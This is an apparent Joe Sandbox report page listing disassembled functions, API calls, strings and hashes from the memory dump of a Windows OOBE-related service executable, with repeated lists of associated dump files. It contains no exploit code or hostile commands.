Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: std::_$LockitLockit::~_$Locinfo::_$Facet_Locinfo_ctorLocinfo_dtorRegisterstd::invalid_argument::invalid_argument
String ID: bad locale name
API String ID: 1871079455-1405518554
Opcode ID: c6cdc14bd338eddc53a98ba7adfe9d068b301496e6a84cf03d0ab39cc8f10731
Instruction ID: 2b18787ee60dced21a1ee80d710d234eacb2e1acb53e15705c8ae09ecf607236
Opcode Fuzzy Hash: c6cdc14bd338eddc53a98ba7adfe9d068b301496e6a84cf03d0ab39cc8f10731
Instruction Fuzzy Hash: DBD16FB1E002189FDB00DFA5C984BDEBBB5BF58314F14406EE805A7391EB78AD45CB99

Function 004013E0 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 295COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 004013E5

Part of subcall function 0046873A: std::invalid_argument::invalid_argument.LIBCONCRT ref: 00468746

Concurrency::cancel_current_task.LIBCPMT ref: 00401519

Strings

ServiceWorkerThread: Workflow Started, xrefs: 0040168F
ServiceWorkerThread: Started, xrefs: 004015A6
ServiceWorkerThread: Workflow Start Failed, xrefs: 004016D6
string too long, xrefs: 004013E0
ServiceWorkerThread: Returning from the worker thread, xrefs: 0040173D

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: Concurrency::cancel_current_taskXinvalid_argumentstd::_std::invalid_argument::invalid_argument
String ID: ServiceWorkerThread: Started$ ServiceWorkerThread: Workflow Start Failed$ ServiceWorkerThread: Workflow Started$ServiceWorkerThread: Returning from the worker thread$string too long
API String ID: 3990507346-493984609
Opcode ID: d82a602f60015f722318a5e5598d58ea829feccefa44ef9ae6b957b033f1123a
Instruction ID: 0de4d92833269bd46795cda1e8f9f860099c4cf613756acb1c3ca96f5a9e6a69
Opcode Fuzzy Hash: d82a602f60015f722318a5e5598d58ea829feccefa44ef9ae6b957b033f1123a
Instruction Fuzzy Hash: D0A13BB1A002059BE710DF69DC42B6EB7A4EF40314F24427FE815E73D1EB78994487DA

Function 00401DB0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 145COMMON

Download Yara Rule

Strings

OOBEEvents, xrefs: 00401EE2, 00401F0D
ServiceCtrlHandler: Finished, xrefs: 00401F7F
ServiceCtrlHandler: Started, xrefs: 00401E21
Receiveded SERVICE_CONTROL_STOP signal, xrefs: 00401E8C
NULL OOBE_Event_t object passed in SetEvnt , xrefs: 00401ED3, 00401F08
OOBEUtils, xrefs: 00401EE7

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID:
String ID: NULL OOBE_Event_t object passed in SetEvnt $OOBEEvents$OOBEUtils$Receiveded SERVICE_CONTROL_STOP signal$ServiceCtrlHandler: Finished$ServiceCtrlHandler: Started
API String ID: 0-3825141419
Opcode ID: 6ca62fb21f9d5d796d1c64262897b507ae4cdca6753128363298717e489f106b
Instruction ID: 66e086e936243a972247da67edb77e0195688db155f0063ebd03624c2dfed7a4
Opcode Fuzzy Hash: 6ca62fb21f9d5d796d1c64262897b507ae4cdca6753128363298717e489f106b
Instruction Fuzzy Hash: 2D51C270A81215ABEB10DB15DD46B5E3BA4EB00B18F14017BF905B73D1EF78A9048BEE

Function 004165A0 Relevance: 12.2, APIs: 4, Strings: 4, Instructions: 154COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,?,00000000,00000000,?,00404FB7,00000000,00000000,004B0CCA,00000000), ref: 004165BA
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 00416661
GetLastError.KERNEL32 ref: 00416678

Strings

Error allocating memory while converting UTF8 string to Native string, xrefs: 004165EE, 0041662A
StringUtils, xrefs: 004165FD, 0041662F, 00416696, 004166DC
Failed to convert MultiByteToWideChar. ErrorCode::%d, xrefs: 00416687, 004166D7
OOBEUtils, xrefs: 00416602, 0041669B

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: Error allocating memory while converting UTF8 string to Native string$Failed to convert MultiByteToWideChar. ErrorCode::%d$OOBEUtils$StringUtils
API String ID: 1717984340-475419079
Opcode ID: 2ac2b592db3f9692cb7a5b3bc46003a3bf626419324c79dd5455d25ea0bdc311
Instruction ID: 607fb1377a63fdc9f035f0c432f6c8044d68b344f7ff51ac538f5213003713f8
Opcode Fuzzy Hash: 2ac2b592db3f9692cb7a5b3bc46003a3bf626419324c79dd5455d25ea0bdc311
Instruction Fuzzy Hash: D0418D35781214A7C620AF6AAC47FEB7358EB81B25F1401BBFD09A32D0DD69AD0046ED

Function 00412610 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 169COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 004126EE
__Getctype.LIBCPMT ref: 00412707
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00412751
std::_Lockit::~_Lockit.LIBCPMT ref: 004127EF
__Getwctype.LIBCPMT ref: 0041282A

Strings

bad locale name, xrefs: 0041280D

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: std::_$Locinfo::_$GetctypeGetwctypeLocinfo_ctorLocinfo_dtorLockitLockit::~_
String ID: bad locale name
API String ID: 201867346-1405518554
Opcode ID: 1af70972fbd8fd394261b7672b218bb29ee07418f61f38ba363869a3bb34d789
Instruction ID: fb01a51910be7c6eaa99b540ff2eac30bca8d6a60054ec657d3f721683236568
Opcode Fuzzy Hash: 1af70972fbd8fd394261b7672b218bb29ee07418f61f38ba363869a3bb34d789
Instruction Fuzzy Hash: 525193B1C003589BEB10DFA5C945BDAB7B4BF14314F14826ED848E7341EB78EA94CB66

Function 0041FA30 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 77synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000008,000000FF,00000000,00000008,00405984,?,?,?,?,?,?,?,?,?,00000028), ref: 0041FB10
CloseHandle.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,00000028), ref: 0041FB19

Strings

Inside closeBridge, xrefs: 0041FA3E, 0041FA73
CommBridge, xrefs: 0041FA4D, 0041FA78, 0041FAB9, 0041FAE4
All pipes closed properly., xrefs: 0041FAAA, 0041FADF
OOBEUtils, xrefs: 0041FA52, 0041FABE

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: CloseHandleObjectSingleWait
String ID: All pipes closed properly.$CommBridge$Inside closeBridge$OOBEUtils
API String ID: 528846559-1211123791
Opcode ID: 1f3c2fab79f574a5bc492b236c571b4ebadb7da9787cdc0bcc3f81ec269f5a84
Instruction ID: c28e8b6ec9cc632472ca235f45b3f8d0a108cff224a1436875239388707932b2
Opcode Fuzzy Hash: 1f3c2fab79f574a5bc492b236c571b4ebadb7da9787cdc0bcc3f81ec269f5a84
Instruction Fuzzy Hash: 3421D330B40321A7CA20EF268C56F873B54AF12F11F240577B806A72D0CEACF99187AD

Function 0048857A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00488689,0040B377,?,00000000,?,?,?,004888B3,00000022,FlsSetValue,004A3F04,004A3F0C,?), ref: 0048863B

Strings

ext-ms-, xrefs: 004885E5
api-ms-, xrefs: 004885D1

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 11c0850fd9dd82efe467599ba98e49e0b0b665d46b4f2ea3fd8847a1b3d20761
Instruction ID: 0d18bb84f8fc76a6c3da93e18ff47703567a800fd64ff94e1cc0b507c8cbf4c8
Opcode Fuzzy Hash: 11c0850fd9dd82efe467599ba98e49e0b0b665d46b4f2ea3fd8847a1b3d20761
Instruction Fuzzy Hash: 2C21C331A01221ABCB21AB259C41A9F37589B51760F64096BE906B7390EF38ED00CBDD

Function 00427260 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(?,?,0040653E), ref: 0042726E
PathIsDirectoryW.SHLWAPI(?), ref: 00427283
SHCreateDirectoryExW.SHELL32(00000000,?,00000000,?,?,0040653E), ref: 0042729D

Strings

SHCreateDirectoryEx failed. Error: %d, xrefs: 004272B4, 004272F0
FileUtils, xrefs: 004272C3, 004272F5
OOBEUtils, xrefs: 004272C8

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895704109.00000000006D4000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_ed1ca4d4-a6e3-4b51-8ce0-6f4ddefd62ee.jbxd

Similarity

API ID: DirectoryPath$CreateExistsFile
String ID: FileUtils$OOBEUtils$SHCreateDirectoryEx failed. Error: %d
API String ID: 3984196470-716391998
Opcode ID: e2f3c0152dea6573d78a5f9b5d09177c3ec5f57044b8f182ed452466184478f4
Instruction ID: 1c360898109e8edf91c6b2f0d6b286c19c2d4d721b312238894a1274079c5597
Opcode Fuzzy Hash: e2f3c0152dea6573d78a5f9b5d09177c3ec5f57044b8f182ed452466184478f4
Instruction Fuzzy Hash: F0119B3174522097CA249B55BD4AF4B3758AFC2F51B5504ABFC4557391CA68AC40CABC

Function 004151D0 Relevance: 10.6, APIs: 7, Instructions: 50COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00414C7F,?), ref: 004151DB
DestroyEnvironmentBlock.USERENV(00000000,?,00414C7F,?), ref: 004151E9
CloseHandle.KERNEL32(00000000,?,00414C7F,?), ref: 004151F7
CloseHandle.KERNEL32(00000000,?,00414C7F,?), ref: 00415205
CloseHandle.KERNEL32(00000000,?,00414C7F,?), ref: 00415212
CloseHandle.KERNEL32(?,?,00414C7F,?), ref: 00415226
CloseHandle.KERNEL32(00000000,?,00414C7F,?), ref: 0041523F

Memory Dump Source

Source File: 0000001C.00000002.1894680111.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.1894644372.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894777613.000000000049E000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894832032.00000000004C4000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894875092.00000000004C5000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000004CA000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.0000000000552000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000056C000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.000000000059D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1894916474.00000000005A5000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895224604.00000000005E8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895305825.0000000000658000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895345855.000000000065B000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895383088.0000000000663000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895424414.0000000000666000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895458874.000000000066B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895491925.000000000066E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895531392.0000000000674000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895570927.0000000000679000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895613230.00000000006A8000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000001C.00000002.1895658005.00000000006AB000.00000040.00000001.01000000.00000010.sdmpDownload File
